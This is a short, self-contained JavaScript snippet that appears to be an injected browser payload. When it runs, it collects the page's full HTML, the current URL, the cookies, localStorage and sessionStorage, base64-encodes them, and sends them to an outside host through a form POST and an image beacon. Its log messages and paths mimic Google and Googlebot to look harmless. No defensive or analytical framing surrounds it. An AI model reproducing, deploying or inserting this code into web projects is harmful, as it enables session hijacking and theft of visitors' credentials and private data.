(function() {
async function sendPost(content, url, cookies, localstorage, sessionstorage, postUrl) {
const formData = new FormData();
formData.append('page', content);
formData.append('url', url);
formData.append('cookies', cookies);
formData.append('localstorage', localstorage);
formData.append('sessionstorage', sessionstorage);
try {
const response = await fetch(postUrl, {
method: 'POST',
body: formData
});
if (response.ok) {
const responseBody = await response.text();
console.log('Success:', responseBody);
return responseBody;
} else {
console.error('Error in request. Status:', response.status);
return null;
}
} catch (error) {
console.error('Error to send data:', error);
}
}
function utf8ToBase64(str) {
return btoa(unescape(encodeURIComponent(str)));
}
const sourceCode = utf8ToBase64(document.documentElement.outerHTML);
const currentUrl = utf8ToBase64(window.location.href);
const cookies = utf8ToBase64(document.cookie);
const localStorageData = utf8ToBase64(JSON.stringify(localStorage));
const sessionStorageData = utf8ToBase64(JSON.stringify(sessionStorage));
const postUrl = 'https://0j.is/save.googlebot';
new Image().src = 'https://0j.is/getsave.googlebot?c=' + currentUrl + '&d=' + cookies;
(async function() {
const result = await sendPost(sourceCode, currentUrl, cookies, localStorageData, sessionStorageData, postUrl);
console.log('Google CDN Connection:', result);
})();
})();